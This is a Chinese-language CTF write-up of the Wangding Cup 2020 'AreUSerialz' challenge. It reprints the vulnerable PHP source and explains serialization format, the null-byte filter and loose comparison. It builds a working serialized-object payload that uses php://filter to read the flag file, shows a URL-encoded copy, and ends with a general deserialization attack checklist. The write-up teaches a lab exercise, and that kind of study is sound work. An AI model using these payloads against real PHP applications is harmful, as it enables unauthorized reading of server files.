多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

PHP反序列化实战:网鼎杯AreUSerialz从原理到payload构造

PHP反序列化实战:网鼎杯AreUSerialz从原理到payload构造 第一次看到网鼎杯 2020 青龙组的这道 AreUSerialz我脑子里蹦出来的第一句话就是“Are U Serialz”——出题人就差直接把考点写在题目上了。确实这是一道非常典型的 PHP 反序列化题目考的知识点很集中反序列化入口、魔术方法触发、弱类型比较绕过、可见字符过滤以及最终的文件读取。当年赛场上这道题的通过率并不高但赛后复盘就会发现它其实没有设置特别离谱的障碍属于那种“看一眼觉得会上手一做全是坑”的题目。对于刚接触 Web 安全、想系统梳理 PHP 反序列化漏洞的新手来说这题是很好的练手样本。这篇文章我会从原理到实操完整拆一遍把构造 payload 时的每一个细节和踩过的坑都写清楚。1. 赛题概览与考点拆解1.1 AreUSerialz 这题到底在考什么网鼎杯 2020 青龙组的 Web 题里这道题的篇幅很短核心代码一眼就能看完但它把 PHP 反序列化利用的几个关键环节都串起来了。拆开来看考点分布在五个层面反序列化入口$_GET[id]传入数据经过简单过滤后直接丢给unserialize()。魔术方法利用目标类FileHandler写了一个__destruct()对象销毁时自动调用成为整个利用链的触发点。可控属性构造类里的$op、$filename、$content三个属性都可以被我们传入的序列化数据覆盖。过滤逻辑限制is_valid()只允许 ASCII 码 32 到 125 之间的字符也就是可见字符任何不可见字符都会导致整个 payload 被丢弃。弱类型比较process 方法里用的是而不是这里留下了类型混淆的发挥空间。比较难得的是这五个考点没有一个需要多高深的理论但组合在一起就能筛掉一大批人。这也是为什么赛后各大平台的 writeup 都喜欢拿它当案例因为它足够“综合”又不至于难到让人看不懂。1.2 从代码看攻击面题目关键代码大致长这样不同版本可能有微小差异但核心逻辑一致?php error_reporting(0); class FileHandler { public $op 1; public $filename d0g3_f1ag.php; public $content hello; public function process() { if ($this-op 1) { $this-content file_get_contents($this-filename); file_put_contents($this-content, $this-filename); } else if ($this-op 2) { echo file_get_contents($this-filename); } } public function __destruct() { $this-process(); } } function is_valid($s) { for ($i 0; $i strlen($s); $i) { if (!(ord($s[$i]) 32 ord($s[$i]) 125)) { return false; } } return true; } if (isset($_GET[id])) { $input $_GET[id]; $input urldecode($input); if (is_valid($input)) { unserialize($input); } else { echo hack; } } else { highlight_file(__FILE__); } ?整个链路的入口很清晰id参数经过一次urldecode再通过is_valid的字符校验最后进入unserialize。unserialize之后脚本会创建一个FileHandler实例并赋值给临时变量当脚本执行结束时这个临时对象被销毁PHP 自动调用__destruct()于是process()里的逻辑就落到我们可控的三个属性上了。需要特别留意的点有两个一是process()里file_get_contents($this-filename)的输出会被echo出来这是读文件回显的出口二是is_valid()过滤的是解码后的字符串这意味着 payload 里不能出现\0这类不可见字符否则直接被拦下。这两个限制直接决定了我们后面构造 payload 的方式。1.3 为什么说它适合作为反序列化入门标杆很多刚接触反序列化漏洞的人一上来就看那些动辄十几个类的 POP 链很容易被绕晕。AreUSerialz 的类结构只有一个FileHandler没有继承、没有复杂的调用链魔术方法也只有__destruct整个攻击面非常容易梳理。但它又不是那种“一个标准 payload 打天下”的题is_valid的可见字符过滤让很多人第一次意识到序列化字符串不一定是干净整洁的属性可见性会直接影响 payload 的写法。从教学角度看这种题把“入口、触发点、过滤、类型、利用”五个环节串成一条清晰链路完全吃透之后再去接触复杂的 POP 链、Phar 反序列化、Session 反序列化思路会顺畅很多。这几年网鼎杯后续的赛题虽然换了很多花哨的外壳但内核仍然能看到这套影子先把这道题啃明白后面不少反序列化题都能举一反三。2. 反序列化基础看懂 payload 之前先搞懂机制2.1 PHP 序列化格式与属性可见性陷阱反序列化题说白了就是:把一段攻击者构造的序列化字符串交给unserialize()让 PHP 按照字符串里的描述重新生成对象从而控制对象属性、触发魔术方法。所以第一步得看懂序列化字符串的格式。拿一个简单类举例class Test { public $a 1; protected $b 2; private $c 3; } echo serialize(new Test());输出会是这样O:4:Test:3:{s:1:a;i:1;s:4:%00*%00b;i:2;s:7:%00Test%00c;i:3;}格式拆开看就是O表示对象后面跟类名长度、类名、属性数量。每个属性由属性名和属性值组成属性名用s表示字符串后面带长度和内容。属性值可以是i整数、s字符串、b布尔、a数组等。关键的坑在属性可见性上public属性序列化后就是正常的s:1:a而protected属性会变成s:4:%00*%00bprivate属性会变成s:7:%00Test%00c。这里的%00是真正的\0空字节不是文本里的百分号。很多反序列化题都会设置过滤函数专门拦截不可见字符AreUSerialz 的is_valid()就是典型例子。如果原类属性是protected或private直接拿serialize()生成的标准 payload 去打就会因为包含空字节被过滤拦死。解决办法其实不复杂要么在本地重新构造一个同名类把所有属性都声明为public再生成 payload要么干脆手工编写 payload不用 PHP 的序列化函数直接把属性名写成公开格式。AreUSerialz 原题类的属性本身就是public所以手工构造时不会遇到空字节问题这一点我后面会演示。2.2 魔术方法反序列化利用的“触发器”PHP 里的魔术方法是一类以双下划线开头、在特定时机自动被调用的方法。反序列化题目最常盯上的几个是__wakeup()反序列化创建对象时自动调用。__destruct()对象被销毁时自动调用。__toString()对象被当作字符串使用时自动调用。__call()/__get()/__set()访问不存在或不可访问的属性/方法时自动调用。AreUSerialz 利用的是__destruct()。unserialize()执行后会返回对象但如果脚本没有用变量接收或者后续变量被覆盖、脚本结束PHP 的垃圾回收机制就会销毁对象触发__destruct()。题目代码里unserialize($input)的返回值没有被赋给任何变量也没有被继续使用所以对象会在脚本结束时被自动回收。这个过程中不需要任何额外操作完全自动这也是反序列化题目最舒服的利用方式只要你控制了传入的序列化数据就等于控制了一个会在关键时刻自动运行的函数里的变量。2.3 弱类型比较 和 的模糊地带PHP 的是比较值遇到字符串和数字时会把其中一个转成另一个再比而会先比较类型类型不同直接判 false。这个差异在 CTF 里被反复利用AreUSerialz 也不例外。看这段判断if ($this-op 1) { ... } else if ($this-op 2) { ... }这里用的是所以只要$this-op的值“等于”字符串1或2就可以走进对应分支。比如$this-op是整数22 2为 true$this-op是字符串2那更没问题。如果改成那必须是字符串2传整数2就不会进分支。再补充一个很多新手容易搞混的点PHP 8 之前字符串和数字比较时字符串会尝试转换成数字2abc 2为 true。PHP 8 之后这个行为变了非数字前缀的字符串不再转换成 02abc 2为 false。所以做题时最好先确认环境尤其是遇到那些利用字符串前置数字绕过比较的变种题。AreUSerialz 原题里op传字符串2是最稳的写法既兼容也兼容。3. 完整解题流程构造 payload 读取 flag3.1 先确认过滤规则is_valid()是这道题最容易被忽视的关卡。它的逻辑是遍历输入字符串的每一个字节检查ord()值是否在 32 到 125 之间。这个范围覆盖了空格、数字、字母、常见标点恰好也覆盖了序列化字符串里会用到的O、:、、{、}、;、s、i这些字符所以一个常规的手工 payload 在字符层面是能通过的。但有个隐藏在 urldecode 里的坑代码先urldecode()再is_valid()。这意味着%00会被解码成真正的空字节然后被is_valid()拦下。有些人会想“那我传%2500让它二次解码后再变成%00不就能绕过检查了吗”这个思路在本题是不成立的因为检查发生在那次解码之后你传进去的字符串经过urldecode()之后只要包含空字节就已经不符合条件了。正确做法不是绕过%00而是让整个 payload 里根本不出现空字节。3.2 设计读文件路径目标很明确走进process()的else if ($this-op 2)分支让$this-filename指向 flag 文件然后通过echo file_get_contents($this-filename);把内容打出来。这里有一个绝大多数新手都会踩的坑原题的 flag 文件是d0g3_f1ag.php如果直接把 filename 设为d0g3_f1ag.phpfile_get_contents()拿到的是 PHP 源码但这个文件会被 PHP 解释器先解析一遍里面的?php ... ?不会原样输出结果就是页面上什么都没有。这就是典型的“读到了但看不到”。解决办法是用php://filter过滤器读取php://filter/convert.base64-encode/resourced0g3_f1ag.php这个伪协议会先把文件内容做一次 base64 编码再输出这样 PHP 源码就不会被解释执行而是变成一段可以直接看到的 base64 字符串解码就能拿到 flag。这个技巧在 PHP 文件读取类题目里几乎是必考操作建议直接背下来。3.3 手工构造最终 payload既然$op要字符串2$filename要用 filter 伪协议$content随便填payload 就可以这么写O:11:FileHandler:3:{s:2:op;s:1:2;s:8:filename;s:56:php://filter/convert.base64-encode/resourced0g3_f1ag.php;s:7:content;s:0:;}拆解一下O:11:FileHandler:3:表示这是一个类名长度为 11 的FileHandler对象有 3 个属性。s:2:op;s:1:2;表示$op是长度为 1 的字符串2。s:8:filename;s:56:...表示$filename是长度为 56 的字符串内容就是 filter 伪协议。s:7:content;s:0:;表示$content是空字符串。这里最容易翻车的是字符串长度写错。php://filter/convert.base64-encode/resourced0g3_f1ag.php这串的长度是 56一旦写错unserialize()会直接报错或者解析出错误的对象后面的利用链就全断了。我在本地测试时习惯先用 PHP 脚本算一遍长度$str php://filter/convert.base64-encode/resourced0g3_f1ag.php; echo strlen($str); // 56生成 payload 也可以直接让 PHP 代劳class FileHandler { public $op 2; public $filename php://filter/convert.base64-encode/resourced0g3_f1ag.php; public $content ; } $payload serialize(new FileHandler()); echo $payload; echo \n; echo urlencode($payload);用 PHP 生成的好处是不用手数长度而且本地类属性全声明为public时生成的序列化串不会出现空字节正好满足is_valid()的字符范围。注意原题类里属性也是public所以直接用serialize()生成的串就能过过滤。实际传参时建议把 payload 先 URL 编码再拼到?id后面? idO%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A56%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dd0g3_f1ag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D编码后里面的:、/、都变成了百分号形式服务器端$_GET接收时已经解码一次代码里又urldecode一次最终传给unserialize()的还是原始 payload。这个细节在调试时很重要如果发现传进去的 payload 多了一层%可以观察一下是不是环境里做了额外的 URL 解码。请求之后页面返回的是一段 base64 字符串解码就是d0g3_f1ag.php的源码flag 就在里面。3.4 关于 op 为 1 时写文件分支的思考process()里还有一个$this-op 1的分支里面有file_put_contents($this-content, $this-filename)。很多人看到file_put_contents就兴奋觉得能写 shell但实际推演一下就会发现这里不是那么好利用。代码顺序是这样的$this-content file_get_contents($this-filename); file_put_contents($this-content, $this-filename);第一行先用「从 filename 读到的内容」覆盖了$content第二行才把$filename的字符串原样写入$content指定的路径。也就是说你没法直接指定一个固定的$content作为目标文件路径因为它在第一行就被覆盖了。要让这个分支产生实际危害需要让file_get_contents($this-filename)的返回值恰好等于一个可写的目标路径这在只有一个对象、没有其他可控数据源的前提下很难构造。所以标准解法走op2读文件分支就够了别在这个分支上钻牛角尖。做题时如果遇到类似的写文件分支记得先看清楚参数赋值的先后顺序很多看似能 getshell 的分支实际都是陷阱。4. 避坑实录与同类题目横向扩展4.1 我踩过的坑is_valid 卡住了大半天我第一次做这道题时拿到手先写了一段 PHP 脚本生成serialize()输出然后高高兴兴丢到?id里结果页面只回显了一个hack。当时根本没反应过来是is_valid()在拦还以为是 URL 编码出了问题来回改编码方式折腾了好久。后来把 payload 逐字节打印出来才发现问题出在本地测试类的属性可见性上。我在本地写FileHandler类时随手把属性写成了protectedserialize()生成的结果里就带了%00*%00这种空字节ord()值是 0直接被is_valid()拦掉。把本地测试类属性改成public之后payload 立刻就能通过了。这个经历让我总结出一个习惯反序列化题目看到任何过滤函数第一件事就是检查自己的 payload 里有哪些字节可能触发过滤。尤其是serialize()自动生成的结果初学者很容易忽略protected/private属性带来的空字节。遇到is_valid这类可见字符过滤宁可全部手工构造 payload也别盲目信任自动生成的序列化串。4.2 反序列化题目常见问题速查表现象原因解决办法反序列化后没有任何回显op 的值没有匹配到对应分支确认比较用的是还是时字符串2和数字2都行时必须是字符串2payload 被过滤函数拦截序列化串中包含\0空字节将属性全部声明为public后重新生成或手工构造不含空字节的 payload读取 .php 文件后页面空白PHP 文件被解释执行源码没有回显改用php://filter/convert.base64-encode/resourcexxx.php读取 base64 后再解码传入 URL 编码后的 payload 仍然报错服务器代码里有额外的urldecode()逻辑确认过滤检查发生在解码前还是解码后必要时调整编码层数unserialize()直接报错字符串长度和实际内容不匹配用strlen()计算长度不要手数只回显 hack / 错误页面过滤函数整体拒绝了 payload逐字节检查ord()值确认是否在允许范围内4.3 从 AreUSerialz 出发通用反序列化解题 SOP做过的反序列化题多了之后会发现不管题目换什么马甲解题路径基本稳定。AreUSerialz 是这套方法论的完美样本我总结成一套可复用的 SOP找入口在源码里搜索unserialize()、$_GET、$_POST、$_COOKIE、file_get_contents(phar://...)、session 处理函数等确定数据从哪里进入反序列化流程。找触发器列出所有类重点看魔术方法__destruct、__wakeup、__toString、__call等确认哪个方法会被自动触发。找危险函数在可触发的魔术方法内部定位file_get_contents、file_put_contents、include、eval、system、unlink等函数判断参数是否来自对象属性。理清可控属性看看哪些属性可以被序列化数据覆盖哪些属性被固定值写死判断利用链是否连通。分析过滤规则确认过滤检查发生在解码前还是解码后允许哪些字符禁止哪些字符据此决定 payload 是直接用还是需要手工精修。本地验证用相同结构写本地类serialize()生成 payload必要时再手工改属性可见性、字符串长度本地先unserialize()验证一遍。打远程看回显回显为空时不要慌优先考虑文件类型导致的解释执行问题尝试用伪协议过滤、报错信息观察、延迟盲注等方式获取结果。这套 SOP 我后来拿到不少反序列化题上试过只要题面不是故意刁钻的复杂 POP 链定位攻击面的时间能缩短一大半。网鼎杯后续年份的反序列化题虽然把类名、过滤条件换了又换但基本框架都跳不出这个范围。能把 AreUSerialz 完整吃透等于先把这套 SOP 练熟了一遍。回到这道题本身我个人最深的体会是反序列化题目里过滤函数往往比利用目标本身更能决定成败。is_valid()只放行可见字符直接堵死了所有包含空字节的标准序列化 payload逼着你去思考属性可见性、手工构造、类型混淆这些更深一层的东西。这才是 AreUSerialz 真正想考的——你不是只会背一个 payload而是真的理解序列化字符串每一个字符的含义。之后再遇到类似的题第一反应就不该是“找个工具生成 payload”而是先把过滤条件抄下来对着过滤范围手工设计对象结构。这套思维方式比解出这道题本身更值钱。
返回列表